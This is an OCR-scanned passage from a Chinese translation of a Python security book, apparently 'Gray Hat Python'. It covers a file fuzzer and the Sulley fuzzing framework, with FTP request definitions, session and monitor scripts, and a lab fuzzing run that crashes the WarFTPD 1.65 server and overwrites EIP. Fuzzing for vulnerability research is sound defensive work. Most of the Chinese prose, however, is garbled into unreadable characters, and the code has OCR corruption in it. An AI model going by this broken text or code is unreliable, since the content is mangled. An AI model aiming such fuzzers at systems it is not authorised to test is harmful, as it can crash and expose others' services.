REAMIRAETR B M RELIXIE EAI R MR R T, B AR RATA B 1 51 3% B L
B — GO, B [FIRE LLBALI U7 20k 52 SO e bk BLR BT s 2L iR K @ .
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SET XA BEALA B, AV FEASCHF R rh—#Oh =, JEPHE EZRT2Em) Fuzzing %
Wi, MTTERE— DA S ZE A @ . feJ5 FRATTRE IS 948 e 85 R[5 NS SCF 2,
R 2R Bl 2 SUH T30 H AR AR . SR BATTE 76 ZEAEN 1 A7 BRI ok
13 Fuzzer HEW ERIHUENT @ 21728, MAEBBERBE M FIKC I AZT .
file_fuzzer.py
gef print_usage() :
printc nix]"
print "[*] file_fuzzer.py -e <Executable Path> -x <File Extension>"

prirlt " [*J "

sys.exit (0)

print "[*] Generic File Fuzzer."

# B 24T S 800 SR SRR AT R BT

# TEREE DA RIS T Y R4 .
Cry:

opts, argo = getopt.getopt(sys.argv[l:],"e:x:n")
except getopt.GetoptError:

print_usage()

exe_path = None
ext = None
notify = False

for o,a in opts:
1B o == =t
exe_path = a
elif o == "-—x":
ext = a
elifiois="%=mk;
notify = True

if exe _path is not None and ext is not None:
fuzzer = file_fuzzer( exe_path, ext, notify)
fuzzer.fuzz()

else:
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print_usage()

HRAEIRATIIY file_fuzzerpy BIA 2 RERE IR LN IEA K Ay A ATIET . ET-e 715746 E

B bRFE T O B A . 2ET-x W T-F8 M SCIRA SO 9 i 28K, 2 EL Windows id 3 A
LB, BRATIN 445 5 axt FEAXANET S H . 1ET-n H T %% Fuzzer RATEHHE
FER MR AN T RE, F R BA TR F FIR T .

Bl S Fuzzer At 5 U S 75 ARG A ST AR M)k #2 o it 08 ) A 451
SCAEI AR S B, ] Windows d 3 AAE A EATH B S — AR B, XHERT]
PLE#R T 29105 B CATER— 4% Fuzzing SRR 4R, XEHAEH hex dmiias ok i
FIEE THEMMAE . EVRIFIHT, EMA file_fuzzerpy MATEER FOIE -1 examples
H sk Fl—A> crashes H3%, 4 examples H st FECE JLAE S PFEA . BfaHMF
(1 2 FF 3 AT Fuzzer F2IF.

python file fuzzer.py -e c:\\WINDOWS\\system32\notepad.exe -xX .tXt

PRI 4S5 FNC AT AN AT A, Rt 8 22w DL 30 0038 S0 i e A
#m&&%mfm&w PronT DLE 3 25 M ) SR R A /R £ A e SRS T 8 L A7 3 R )
ROR B 1k, 5 OR AT DUSE R 28 R B A HABAE AT S I FE e o TR AT TR — 28Kk
(RIS A [ N BAF S, SRAAREEE Fh) 5.

8.3 Jn BNk R MR

RAEBRNMTF L OCH T ADTHIE) Fuzzer FiI7, R L8 MR REE L—F
e VF e e Bh IR CER — 25 bug. X8RO0 5556 -H_JH-MAM\' EVRETA R —,
FRATTHERF VR AT LA 3= 50 LA HE 2R 7y T ) S, 5 BAR B9 LA BSOS A PR RS B Bk 2

8.3.1 HKHBEEX

RIS %E &5 A Al b ) — s WA R B, s H i P HAT IR 21E
Ll FE v By 5 Ve [l . Fuzzing % ?at Charlie Miller 45 H ALK EH — 458
PRATAE AR I bug £ H B RER A AR 2 2 0 BT i . X JLF R — A AT R (1)

(O Charlie £ 2008 1) CanSecWest %4> K2 b (i F i) BAT T 7= 7 ARS8 i 0 T 086 70 42 4k 1ot T
FEAI A 25 0] 2 WL hitp://cansecwest.com/csw8/cswO8- miller.pdf. 25 1 3 [7] B 4 W %k 1 B Charlie 25
aEM S AP, AR 2 0L Ari Takaren, Jared Dematt 1 Charlie Miller. Fuzzing for Software
Security Testing and Quality Assurance(Artech House H!i#t,2008).
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SR EMR. b E R RS2 pirR R AEE R TR, RS 5 R
R, BT R SRS H AR AT R EGR R, JFER M REANIGRA
FH 5] iy e A2 ) oR 800 FH AN B, X 2 ge v 45 R nT LA B IR ) B O F Sk AT () Fuzzer #2171
OB BRI VEAT . R ARSI T B R O H R EOR, A OGERE
B A DL 2o — e RN U A, K 2B RSt Fuzzer FRIFHI U .

8.3.2 BIULESIH

A Sh4b iR A 2 BB AR T LS B 3RATI R H B ) SO S5 A mT REFEF e T 1R X, X
TRFEAZHEEN S AERKK AR L. —SEF 27 5@ LI MFAMrFB, i
RNy TR RS (bl strepy) MIFTAVERIAIE, Fonh i So {7 B U5 2L 1
2, XEETPATORADHE AN . — SRS TR R R I H 20 ¥
BT 2SN R N A7 DL ek 5. B R AC BRI DA R oA X B (5 B T B AE M — A2
VRI¥) Fuzzer FEFFATIRAX 8 T #3882, AR &MN bug M th &8 K,

-HARMEE—> Fuzzer, REKILE CRRSA AT EE Gt 7F 25 J7 10 % 3 0 BLssgaE Lo
TGN EF G2 3. BIIEVRITEE  E CHIEE Fuzzer BB —%1, %4 Y EARIGFCHS
& R REPE. HE SR RIR B 7 S b 1l H XA & 50 RN A I sk = 11 39 i) St st
PR e B Ol IR — 1 AU AT SO A RS 2 T R TR BRG. 4 5 # Fuzzing #iL
HEBR AR sl s o5 — B, R 3RA TR HOLHH F Sulley (—3KH12KH TippingPoint (£
Pedram Amini ! Anron Portroy & [f] JF & ()4l Python Fuzzing HE4%) [{EH] 3k, 2 534
ERFEAT G — T HERAE NG S ] Fuzzer F2FF ioctlizer, B4 FH 118 77 fun (] 42 48 o8 ek £
#x % Windows JEENFEF1¥] bug.




FavYay =
9

= Sulley

EE

Sulley, X—# 28 A To¥H (EHhd]) PALELABGBEEXEY, —KdkA
TippingPoint 2> 5] #) Pedram Amini ## Aaron Portnoy A7t /& &, J+ H X F Python 49
fuzzing MXAER . Sulley A _E SRR A& — 3K 445 & 3L _E 69 fuzzer ’Fi}f’ CiEF) ik
A RMBINE . S ATIRE AR REVA R B F11L VMWare E#ALE 2 4k, Sulley if fE
EAZF AR A lih ARAMNBSHER BAFE RS, AMEFHH fuzzing 2357 VAR BT 3E 4
FX., MfmEZ, Sulley ZARAE!

T HAR A R A R 6RI, 5 Dave Aitle 89 SPIKE" ( % — 32 A ° &Y fuzzer 24 )
%44, Sulley 1& A 2 T3 ( block-based ) #9448 & s 7 X &35 fuzzing )X, X —F X &
FAR 2T B ) 3K 64 B AR E LA XM AE R Rk |, JF AR &K fuzz o9 S48 3R 3
FHRABAKE L ER, MG fuzzer 120 N3RPT HA 69 m] 35X 0 FlLA 0 B, AR E & 7 X
HANEF AR Z AT BT RZ P, BT EA T XA H X6 fuzzer EF T4 T 8K
AAre R 4m, EAGEY R —F L IFLH bug 6 A iR

T @ LA B LA BalT R 5247 Sulley, #/5HKAMELIEA Sulley FFIR4LAG LA
ABEFEREVMEN, EMNEAHAR—ETEBUREERGEL, BHEATHEAHREA—
AT HAY fuzzing X 2 B 4], REEAI MBINLBSHHRFARZLMN TR EHERF
A, XA A4 P HZAE fuzz B 47422 WarFTPD —— — AN E 4% i 1 9] 8 69
FTP daemon. f& fuzzing #£R P, kit —/ Lo f ARG FEA%F L83 T fuzzer
Y BN EAAE R RBLARA —FPE) F LM A F R, TAN —A fuzzer fE T A A RIK T
bug # A E 21 XA fuzzer A& TNRA) MR 3] i3 E 0T A & ARFPRAVEFE B
WarFTPD R @) 4R % =4 {T4& A Sulley & 5 36— KBk M A& fuzzing &, WIFREET

& A Pedram Fo Aaron Ff % 5 69 F # " TR A, 3P TR 68 K 0 e 694k A B A A

DR8] LA http://immunityinc.com/resources-freesoftware.shtml/ F 4% SPIKE
@ B, AW “RE", KAMRA.
@ Al A http:/fwww.fuzzing.org/wp-content/SulleyManual.pdf F#% “Sulley:Fuzzing Framework ” iX AT fiff .
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B EBANERITITHLAEZ L LA LER N4 Fuzz!

9.1 %% Sulley

TERAN TR KH BT AT, iERATESEK Sulley F) M EZHIP IR, LA EHRERS
DA by L K . FRAEAS B 7 3k 5 http://www.nostarch.com/ghpython.htm _F3#4t T4
zip #AU[H Sulley Y65 U LLAE 45

¥ R ZIP X F Ezfi /tifthif_m KIMEBIEEART, RN Sulley H3gHP
&t sulley. utils I request X =/~ 3Cf9, #'E414 V15 C:\Python25\Lib\site-packages\
B o PA BB %3 Sulley #ﬁfL. P8R . EIEFBhar, WATET e | —LohAR
A /b KA .

BN T BERATHSb % (P 40 {8 /& WinPcap, WinPcap /& Windows “F£5 FH T3¢
£ MBI D RERIARAERE P B . Peap FEJL P BRAEAT 1 BRI MLE T A 5 A 280l R4 2
1, TR FAE fuzzing 216 P HAIMEHR, Sulley [RIFETEEBYEH] Pcap FE. "”‘Tﬁ%
M http://www.winpcap.org/install/bin/WinPcap_4_0_2.exe F#% N &30 FIEAT, Bpal
5E % WinPcap FE (17 & .

{EVR 4 5E WinPeap FEZ J&, LT 23 AN MK BFE P E: peapy F1 impacket, iX
M‘ MPEY) ) CORE Security $2fit. Pcapy FE¥4 b 56 AT %34 1K) WinPcap FFE# 4t 4% Python %

» T impacket WIFEAL T M &8 B0 K R RS AN ThRE, IXANFERIFE /& i Python 51K, IR
"TU FL#E M http://oss.coresecurity.com/repo/pcapy-0.10.5.win32-py2.5.exe F# pcapy (1) %%:
R IFHATEI ] .

{E3 56 peapy ZJ&, #F M hup://oss.coresecurity.com/resp/Impacket-stable.zip | 4%
Impacket . I F#EBIAHLAY zip SCHR 4 5 C:\, I3 A 3| Impacket FE (F3555 H %,
PATLL P2

C:\Impacket-stable\Impacket-0.9.6.0>C:\Python25\python.exe setup.py install

b7 A i 25 4 07 56 B Impacket FEPTE, RURAIFE TR T Sulley 1923 T 4f.

9.2 Sulley i) 3k A K45 I MY

PRITUGHS fuzzing JUBKH A k38 10 5 — N RPN, BATTE B m ka4 2 h 3]
MIEAK fuzz (1) H AR PSR — AR PE I HESE . DA Sulley [ BRATTHRGE T — £ M HIE#H
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% 9% Sulley

AR TF, B T IX L BEAC IR JHE 7T 2 BATT T LA PR b ALy Gt S0 15 B kg 5 2% P DS AK) il R HEE 2K,
FRAVRF X LT () BAE A AR O AR RN Y, AR B B o A AR R O
A2 S5 B VR T A X WarFTPD IR 5 8827 ¥ fuzzing Boitr, — H/RERR T W[4 ot (¥
XS A EAR R R AR, X T HR PR FERRA A EH, MEREERT G EE 1.

9.2.1 FHH

FAF R CRER R B R R A B AR KR, A7 R RO R ANTE, H P44, TP Mtk
H SR A FR LA R AR AR 2 (3R 34 n] i A A7 8B RIERORFRIE . Sulley L FA TR s_string()K
TR TN RIEERE R — BT fuzz MR R EEE . s_stringORR TF AT 52— M
B R {EAE D 28, IXAMER A A S i BU AR E U . 284617, BT fuzz
X B A — A 5e B R F kAR FRATT AT A H T 5 ok s

g_string("justin@immunityinc.com")

FosE TSR 5 U Sulley 7 justin@immunityinc.com 3 —/M 43 201U,
Sulley ## A FANKE fuzz EANFRHHEMARE, HIZHREA ST RILZ G4 &
SAEHRMNEBYE € MAZME, FHER Sulley 76 _Fl 5 & B 4F Huhk (& al BT A4 i)
JUAh ] GE 1 -

justin@immunityinc.comAAAAAAAAAAAAAANANAAAAAAAAAAARAAAAAAAARANARR

Jjustin@%n¥n¥n¥n¥nin.com

$d$d¥deimmunityinc. comAAAAAAAARRAAAANAAAAAAANAAAAAAAAAAARAARAAAA

9.22 kR

FriR B CAEsU R /B Rr e, HTPBEKNFERE a0 BB T
BT DLRNZ AT S itk A, AR LUEBYHR T s_delim(kilt 4
s i b R BT T B fuzz (24T R

s_string("justin")

s_delim("@")

s_string("immunityinc”)

s_delim(".", fuzzable=False)

s_string("com”)

PRT DL B 3RATTA I 43 BB K I A i R 50 g — 2685 8, HF45UF Sulley FAI17E I
X fuzzing MR R AR LR (O HHT fuzz, HBMIHFE fuzz G @.




Python & 18 F——2 % 5 i# ) 425 &) Python %R Z il

9.2.3 ER7SFNRENEIE SR

Sulley 1AL T {8 (i 2 1 T-H BhFA 75 R & A v AR (1) 745 38 a2 2 B AL o] A2 1) 7
Frep, HEHEYNBEATZR TS, MaTLMER s_staticOFERF, EwLl FrJLA
S B 7 IR B

s_static("Hello,world!")
s gtatic("\x41\x41\x41")

75 A B AT AR R BEALEGE , 777 LA#E ] s_randomOH AR 77 . M8 T #5 A 7 s_static(),
s_random() % . —HF AN ZHH T E M E4L BN KA. 2% min_length
max_length H T-%5 %1l Sulley 654210 fuzzing M BT 75 42 BB i B /DK 5 e kK
RE, 515 A% Z % num_mutations A] ] THE75 Sulley 75808 FH 91 (¥ B AR P 52 31 S G B2 iy
T AR IR R R AN S

s_random("Justin®,min_length=6, max_length=256, num_mutations=10)

e EaRil b, BADKEA RFIEVLEIE KEAS LT 6 A~FY, HA#EE 256
ANFN, X TR BRKE R RAEUE “Justin” Z /T, 7 EELEAE 7 10 K.
9.2.4 iHHIEEE

33 B A R AT LU R TR AA AR G Rl i 5 &k, R AT LUK SR U5 T & g
T () JLAPAT AT b ) 50 1 DR IS N X /MR FF 2 4, Sulley 2 R BEhIRBIEA1I
INCL fuzz. GYRITEICES H bR isUA S0 ) 28 540 500 1, A R ] LA B — 336 ) 54 4
B FERATAFEB 5 P L L AR e Je R R S5 0, EXFPSAL T, XA BS54
HH . BAMEHFEARRF s_binary(kFd St HIEIE, 0 F AT

s_binary ("0x00 \\x41\\x42\\x43 04 0Oa 04 0Oa")

Sulley ¥§ HaliRA LR ApA FZoi ) %, H7E fuzzing iR N LIAE 7.
9.25 EH

RRIBAEBE AT W, EAEASCAS 3 P 2 N, B Tt s oK
B, FEREAE ik LR H A AR 2 i . Sulley SCREFTA R E M EEER, 2 WAL 9-1:

5i# 9-1 Sulley Frig 891 Fh & B EEH#HIR T

1 byte - s_byte(), s_char()
2 bytes - s_word(), s_short()
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4 bytes - s_dword(), s_long(), s_int ()
8 bytes - s_gword(), s_double()

b7 B T A 8 B BB R 7 ¥ mT ol i 2 52— e B Al S HOR K ) fuzz 75
K. BE endian H TR BERALZELLDgG ("<") B2 K (">") BIARERM,
XA S BROABUE R AN i B 5 — AN AT IE S 2 format 3245 T PSR B (B AL IRAT 1 RE £ -
ascii B binary, SORF ok REEUE T 0. Bltn, BAEIREE e 5UE 1 5 ASCII k%
i, %Eﬂ't;‘%%&fnﬂﬁﬂ; BEFRE K B \x3 1. TS signed 7€ % BEEE T AWM S
M¥E, X2 E0E RS E format BUE K ascii 1A%, XADSEO A RERE IFERIA
A False. Btfa — MW EZRNGFERTESE full_range 2 PMi/RKEFRE, BRET
Sulley &85 AVRBTE fuzz (KR B0E 1) 5E BT A T BEI(E. WIREM X MRESE, WA
i [Ty 56— AN BRI A AT RE ULV FLRE AL TR ARANFE (I Te],  BERAS R e, Sulley
A5 O 2 B8 68 2 75 VR IR - Ffdy FE GIFES R 556 T e el s /NRE S (8D 5. il
B — R R AT S 4 EUR A A 65535, AB4 Sulley #A7 Al fit 222l H 65534.
65535 LA & 65536 iX i/ Fi{H. ZH full_range #iERIAE A false, XEWKA L Sulley H K
W] fuzz Z¥EEL WX R R IERE. T2 Ll H BB R B ) 1

s_word(0x1234, endian=">", fuzzable=False)

s_dword (0xDEADBEEF, format="ascii", signed=True)

(RS — A, AT A 2 RIS EGRON 0x1234, B 795 8k Ak,
HHEEHED IS, £8 M Fd, BAVKE D 4 FHRWEBERN
OxDEADBEEF, #4004 — AN 155 (1) ASCIT 2R () #5011 .

9.26 54

RE A Sulley AL BIROCEEYE, LT TH T8 BRI i) 7 K PER 41 & 5% Fh 3k
AEARRR . R AVFIRRE 41 & BT BRI ARG P ] & il — AN 8 Y.,
T 2H ) SO VR PRk — 4 e R B AR AR S —NMREEE, Sulley 2 7ERE %811 fuzzing W1
FErh A XA AR 2l A N P e X — A BaiE 1.

Sulley (E 4 FM ERAE T AN HTTP BMY fuzzing $8SE26], 34N ) 4R 6
7 T G0 a] iF il 4 FH B 5 44

#5 A sulley Hith

from sulley import *

# X P9FP HTTP WKL fuzzing AKX : (GET, HEAD, POST, TRACE} /index.html HTTP/1.1
# EN 44K uTTP BASIC"Fib

s_initialize ("HTTP BASIC")




Python & 8 F—— 2 & 5 i% ;) 427 49 Python %R A2 if

# SEX 4N verbs W4, XA AN T RINFTE fuzz BJLF HTTP Bh1E
s_group("verbs",values=["GET", "HEAD", "POST", "TRACE" 1)
# EX 4K body MFE, HHX PG verbs AAHKERERE
if s_block _start("body", group="verbs"):
# 48 =HTTP WK AR5 20 208 0 oL Y R A BEE R R
s_delim(" *)
s_delim(*/")
g_string("index.html")
s_delim(* ")
s_string("HTTP")
s_delim("/")
s_string("1l")
s_delim(".")
g string("1")
# XANBETFRSRA TG aTTE HRPSR
s_static("r\n\r\n")
# HUE SRS, XNMRTTHISECh — M RES
s_block _end("body")

M E7R AR o, FRATTRT LU 3] TippingPoint K THIT 8 455 X T — N4 4 verbs (14,
XA ATV SR 7AW HTTP ahERA. BB A1 0E LT —FRA body IR,
‘© 45 verbs AP /L T . DAt Sulley K4eH i 4 & —F HTTP 3)fF (GET. HEAD.
POST. TRACE) ZZid i1 ] e 57 body B, XU BV 2411 40 56 7 (K5
J& HTTP WK1, 3 FAXA AL 610 T 8EFE T B A7 =220 HTTP K368 HY.

RO H T A K Sulley HEALFZEREHIE, N BATT H 36030 5 (K % T .
199K Sulley A LA (LIXLE, JRIEATPALE Sulley HEAE AR 3£ 3| A0 25 8 4 i 2 (F0EF 0, i
B gt RIS . RE ARG P T 4% Sulley (14T BA & oA 5 Fuzzing
HAMXBIME, MTUZSE AKXl Pedam 2545 %M 18 (Fuzzing: Brute Force
Vulnerability Discovery) (Addison-Wesley, 2007).

9.3 47# WarFTPD

BLAEVRIY 24 %] Sulley H F) 3 A B 288 UL R Oh il b HESR () Gt 75 XA B T4, b3
IR AT — AL HAR: WarFTPD 1.65. R FHAHE— P EAML2RiH, S
Jfi1d USER/PASS iy 1 A XA B I 2 5 Rk . XN r 76 FTP Bl b 4l
FRAE FTP A # 584, B RA R KRR 2 J5 7 T AT Ot iR fE . #Rar LU
ftp://ftp.jgaa.com/pub/products/Windows/WarFtpDaemon/1.6_Series/ward165.exe | #F!| WarFTPD
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% 9% Sulley

(23R, Bedi BT XM FEF . WarFTPD Daemon K23 8 il s 2 0% >4 A 9 T4 H %
R, fR 5 ) iz 1T AT AT 0/ warftpd.exe BIRT ik FTP fR4s 4R T . FHIdRA KL H—
Y4756 FTP HHUMIEA A A, CME TR LB R H bR Z ATRERE 0 H br i LA L5407
BT T .

9.3.1 FTP 101

FTP & —FAH 4T i i, HTERNARMREZ LR . e 288 T
HRPERBE, MEAEASTER) Web Il 2% 2% 2 A0 AL 2 R i 52 (K) 9 25 4T EbL. BRIATG UL FTP iR
%256 WEUT TCP B A9 21 ¥ 1, LUK E FTP &/ i 4. FRBIE#RE DA
PUF R FTP 25 7 i PAYR IR AS W b R GX G TE () FTP fr <, SRl B BUE H bR iR %2801 it . R
BRAEX B EH 6 WarFTPD G fuzzing By, {HA2ATRMNTZR| ) FTP fuzzer ¥ 258 H
FAEAI () FTP R4S 2%

RAEAF R B 5L, —F& FTP RS nTHeS i AP CLEE 22 P 1) 8 40 8 sl ok
HESK A PTG RUE. B TRANCLAESFT WarFTPD 028 ph X 4 H R 22 3
USER 5 PASS 4 GXPEBPH T B Er0UE), PRI TRA TR 0 B 03 B0 10F 2 0 B0 38,
IXPEA™ FTP iy 4 g F prs:

USER <USERNAME>

PASS <PASSWORD>

-HAREAN T AR P 2 RE, RS 45 AVFRERH 420 FTP 2 83E47 S0 tH- 4%
Wi, MARHZR. AHCHRSESS. BT USER 5 PASS 4 HLUJ& FTP RS A Thigm—
NGy, BAVER A AL —2% FTP iy 2 K7 LA fuzzer. FK 9-2 F|H T —2L5i4h
() FTP iy 245 A48 76 31 100 Bh AR HE 48 o PR AR A T Ml T % FTP Bh S g @ 2,
W2 # MK M RFC X,

J|F9-2 Hit—LRINBE fuzz 8 FTP %

CWD <DIRECTORY> - B T{EH#*% DIRECTORY

DELE <FILENAME> - #{FR44% FILENAME MJZCfE 3
MDTM <FILENAME> - &[T FILENAME #3562 fa)
MKD <DIRECTORY> - fJ#H® DIRECTORY

XA RN FTP dr 251K, HEDREEHRAIN fuzzing IR 76 &5 5
st —4, BLAERANIC H 50T B —2 FTP i3S,

) 2 W RFCO59- 3L 4445 b1 hitp://www.fags.org/rfcs/rfc959.html.




Python & ¥§ F——2 & 5 i¥ &) T 42 ) 44 Python % #2 % if

9.3.2 fIiE FTP Xk ESZS

ST BATHT KN Sulley FEA KRR T AT, BZEmE Sulley 48 ple h — AN i K
PRI FTP fRS-2508 T H . FTIFRIMCIL4atEES, A4 %% ftp.py FI3CHF, AZETR:

FTP.py

from sulley import *
s_initialize("user")
s_static("USER")
s_delim{" ")
s_string{"justin")
s_static("\r\n")

s_initialize("pass")
s_static("PASS")

g _delim(" »)
s_string("justinm)
s, static({"\r\n")

s_initialize("cwd")
s_static("CWD")
s_delim(" ")
s_string("c: ")
8_static{*"\r\n")

s_initialize("dele")
s_static("DELE")
s_delim(" ")
s_string({"c:\\test.txt")
B staticl{ " r\n")

S_initialize("mdtm")
s_static("MDTM")
s_delim(" ")

5_string ("C:\\boot .ini")
g8_static("\r\n")

s_initialize("mkd")
s_static({"MRD")
s_delim(" ")
8_string("C:\\TESTDIR")
E_static{"\r\n")
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% 9% Sulley

Bt P S B SE B, BRA VAR AL A Sulley 21, EHFHERATITRAE
P IR T DL Je— N R i A e

9.3.3 Sulley &

Sulley B HAH ()£ 1F LA AT LA BYIRATIE &AM K 5 M e e sh fig, 2R X0 e
S AR A AL R h R, DAKOS REAML IR R e A )R ok, IRIRATTE S AN S
)f-[ﬂJ{dn‘ AT & AT IR . TIN5 1) Python 3CF, ¥ dr 44 fip_session.py, Jf4i
AL ACHS:

ftp_session.py
from sulley import *
from requests import ftp # SAHMIN fep.py X
@ def receive_ftp_banner (sock) :
sock.recv(1024)
sess = sessions.session(session filename="audits/warftpd.session")
target = sessions.target("192.168.244.133", 21)
target.netmon = pedrpc.client("192.168.244.133", 26001)
target.procmon = pedrpc.client("192.168.244.133", 26002)
target.procmon_options = {"proc_name":"war-ftpd.exe"}

# XHBIBRNHE receive_ftp_banner BREALiE R pre_send 4
# receive_ftp_banner 5% —4 socket .socket () WRIENENT K ZSH

sess.pre_send = receive_ftp_ banner

® sess.add target(target)

@® sess.connect(s_get("user"))

gsess.connect (s_get ("user"), s_get("pass"))

sess.connect (s_get ("pass"), s_get("cwd"))

sess.connect (s_get ("pass"), s_get("dele"))

sess.connect (s_get ("pass"), s_get("mdtm"))

sess.connect (s_get ("pass"), s_get("mkd"))

sess. fuzz ()

B FTP R 45 285118 A % 1 Wi d A\ B 4> ik 75— 2% banner {5 &L, X 1F 2 AT 00 # oh
¥ receive_ftp_banner()@ 1] K . FoATPRFIX AN b 80 2215 JE PE sess.pre_send 455, XK %
Sulley {1 RIEATATIF] fuzzing FHE AT FWC5E FTP banner {i5 Bl . J@ P pre_send ¥4 E 4 [0 i) p&
HOH52 Sulley £ A )—~ socket X S AF S 4, f\]ﬂtiﬁcﬂm{l receive_ftp_banner() R £V
CLE I ME— 28 O  Sulley 2 iGH5 2SR E ol X0 Tl K fuzzer
B2 APRES, A 7 XA REE SRR FF AL I GRAT AL, JAT 1 AT Eﬁ?_"{iﬂ)ﬂf? | fuzzer.
5 O R E X —AXG B, XA LAl —A~ TP Mtk n b — i SR £EIX L ERAT)
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Python & #8 F——2 & 5 i# 6) T42 )5 &) Python A2 X il

() X ihi H b i 192.168.244.133 ] 21 % 11, X IFE&2IEFEIEATH () WarFTPD SE6 (72X

4 WarFTPD IZ2177E BRI ) . 2 =T B O JF Sulley FAT (1) Y 245 WL ERE25 450 %
e —& ML E, FHFMWET TCP %411 26001, gﬁ\;,ﬁ,llﬁ HT 8Ok H Sulley (dr4. 8
PO I 5 ¥ @ 1 U Sulley FRATTH 125 RIFFIZ1T7E 192.168.244.133 F I iWr TCP % 1 26002,
Sulley [FIFFE I % 3 10 A3 AL fr 4 AT DAL N4k 3 Tk 15 2 i i 4% H #r
HEREMI 2 FEh . war-fipd.exe. #E47 A IE 208 2 fisE X2 H AR R AR 25 THE O .
R KA L @E LRGN FTP il K LLA T H ) 7 A Gk, RnTLAE BIRATE %
XK UFfE4 (USER. PASS) HER|—, 35 AT 77 5l i 3 UF 2 J5 A fig$h
171 FTP 445 PASS ar 2 HUER K. 55 RA4E 7R Sulley T4 fuzz.

BAETRATA T — 8w X5E &) Sulley 21, B LRATKE A W i B N4k 52
A . X -YIsteEnt, Sulley {En] ¥ 85 1!

9.3.4 MEFNHIE T

Sulley Aﬁ’“)\}’i-’ H PR YRR B vT PUR 2 MR ) fuzz BAEHRTR, LS Y
AT A B A FL R A H AR R A, X BANEEE fE S0 7 BhIR AT R B BUE AR R 15
) 46 5 00 £ 3 it léﬁ’ok)xit’?i”}ii}))k&f,t}ﬂh ¢ 1) 5 A7 e T 2] B B T R A B )

Sulley J7HC # ) W 4% 55 302 W A CFE AR ¥ 240 J 1 Python %S (OIA, 4R35 T84T .
S IRAT A B EFR B P FE P process_monitor.py, XA AL T Sulley I EHZ T,
it fa] iz AT e tH B LA F A8 S 4 L

python process_monitor.py

Output:

ERR> USAGE: process_monitor.py

<-c|--crash_bin FILENAME> H F{#7E0 MG B & 44
[-pl--proc_name NAME] I IFHEE LRHELRK
[-il--ignore_pid PID] 7FT HimilRE, ZEiZH#ES (PID)
[-11--log_level LEVEL] H&EZ5M, HUME 8 WA S e (BAh 1)
[--port PORT] ZACEEFEIFATE4E5ER TCP ¥

FA 1% LLtn )77 X KAT process_monitor.py A< :
python process_monitor.py -c C:\warftpd.crash -p war-ftpd.exe

JEE: BOA LT, process_monitor.py 29 £E 26002 3% @, Ff vA AT 504 A --port
7.

BARMN IR HArdtRE, Fiib&ITKRE S — A network_monitor.py. i&1T
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9% Sulley

XA AT K — RV AU EE: Winpcap 4.0 . peapy LA/ impacket . 31X 48 [ [f) 42 %5 20 R
By aT FEFISC T Rk sk F .

python network_monitor.py

Output:

ERR> USAGE: network_monitor.py

<-d|--device DEVICE #> HT#HTIREEMMNEE & (W F)
[-fl--filter PCAP FILTER] BPF M NJ3E#5F

[-P|--log_path PATH] AT #FI{ pcaps H&MH%®

[-1|--log_level LEVEL] HEZEH, HUAEES NEHGE ST (B 1)
[--port PORT] ZfCEERRIFHTEYEE M TCP ¥ D

Network Device List:
[0] \Device\NPF_GenericDialupAdapter
© [1]) {83071A13-14A7-468C-B27E-24D47CB8E9A4} 192.168.244.133

SAEA A R RA R, BATRIRE T RSl MBS E . M Eos b6 B
] LA BRI E A MG R &S 04 (1]. BATHAERIT network_monitor.py A<
RXA SR A 2T 28N, W FHR:

python network monitor.py -d 1 -f "src or dst port 21" -P C:\pcaps\

EE: R EiT M BT 20 €] C\pcaps., irid#FE—/~5) Tidleey B E &4k

IAERAT CAE S P I AR BE A PP i T K, IX R AT IRATT O JT 8 fuzzing MUl T HE
& BLiEFRATT R aG e !

9.3.5 Fuzzing Mk LAK Sulley B Web 5@
IAEFAIELRS S5 3h Sulley, 7 Sulley i&2 {7 K 2 J5, FRATHRAE L Py 211 Web 5711 3k 0
SRS fuzzing I FE . BRAESL W F B s i 04T ftp_session.py, JFEAFATT i il 75 -
python ftp_session.py
R AR Bz R H A 2

[07:42.47] current fuzz path: -> user
[07:42.47] fuzzed 0 of 6726 total cases
[07:42.47]) fuzzing'1l of 1121

@ HRAT LA http:/fwww.winpcap.org/install/bin/WinPcap_4_0_2.exe F#%| WinPcap4.0.
@ Pcapy ¥ 1 CORE Security $#2ft (http://oss.coresecurity.com/repo/pcapy-0.10.5.win32-py2.5.exe ).
@ Impacket /& pcapy fE# 1E% T EfIATHE, #77] LLA http:/foss.coresecurity.com/repo/Impacket-0.9.6.0.zip F
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Python % #§ F 2% 514 &) T42)F 69 Python % F2 X i

[07:42.47] xmitting: [1.1]
[07:42.49] fuzzing 2 of 112
[07:42.49] xmi"t:rlq- [: ]
[07:42.50] 1z2zing 3 of 11:
[07:42.50] X'Ti‘:L.Lf]c]: i31.-31

SRR B TR R WA, B PIIEW . Sulley H BTIEA: T X9 A8
#| WarFTPD daemon #EFE, WA BATAH A% )5 4E Badm i, UiW] Sulley IEAES FAT
) HE PR ATIE S . BRAELERATKRZ A F Sulley H7 () Web S, XILHPEETEF
CLERSY

FTIFARIE EF M43 5 8%, JEH AR hup://127.0.0.1:26000. ok 8P 9-1 F

Ial,

1

/ 1

A~ [R) 5 1 -

Sulley Fuzz Control

# 9-1 Sulley [f] Web 1l

TR P BRI, WRUET ORI D 2% UL, Sulley K5 HRFSEH R R B B BT IE £EAF
FH S B LA B BT IEAE fuzz B 2EADSEAR R . (E6 9-1 1, HRATLLE HH Sulley 1E X}
Bk user HEAT fuzz, FATIHE Kb CLAEEFE i 1t FL 25 A I () o) . F 28 3k — B B 11 2%
frfa, WORVRFFEERIET Ui, VRN S48 35 9-2 el 4 15 B .

Sulley Fuzz Contro

El9-2 Sulley 7F1 Web St i T —LE it nf B

e BRATT T L AEFE FF WarFTPD A2 2B i i5t, 3¢ H Sulley S BANHE IR T Brd #2600 15
Ko AIZ AN K R 5] BT T ] LA H i 958 1) S5 BRI el TGk E w4 Y stk OxScSeSese &b
i9EE ’;>J?J'|'--.Lﬁii"{o "rf R 0x5c FE > ascii /T “\7, AHES L, Sullcy #HT
RINE N FRERES T RNEMWNX PRI R A IR 3868 B % & 1788 EIP

@ B 4a.
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% 9% Sulley

BT 48 [f) (R bk sy, FE AR 3, PRh 0x5c5c5c5e FEANE— N e 2 Huhik . 1R 248 EIP
A S M BUE e BAEBRAN TG E R, XA RN T — T FH R S84
PR L T, RMAAEEZER T MOy AN R, B2, XFEPDEHFRNME
A BT A 2066 Sulley £ HEJE T AR, PR5E4ATT LLKIXAS FTP fuzzer MW T HoAth H#x,
PRt V2 BER BB FTP k59545 0 i -

IS SRR B T B i e S, R AR B T VR S B, sk 9-3
B s B R

PyDbg (1 jid 55 RS LESE 4 T “HEkvim b pRE” b efmdid, R
i T B A2 T B AR 4

5% 9-3 MiXAHI#473 BER R IRIB S

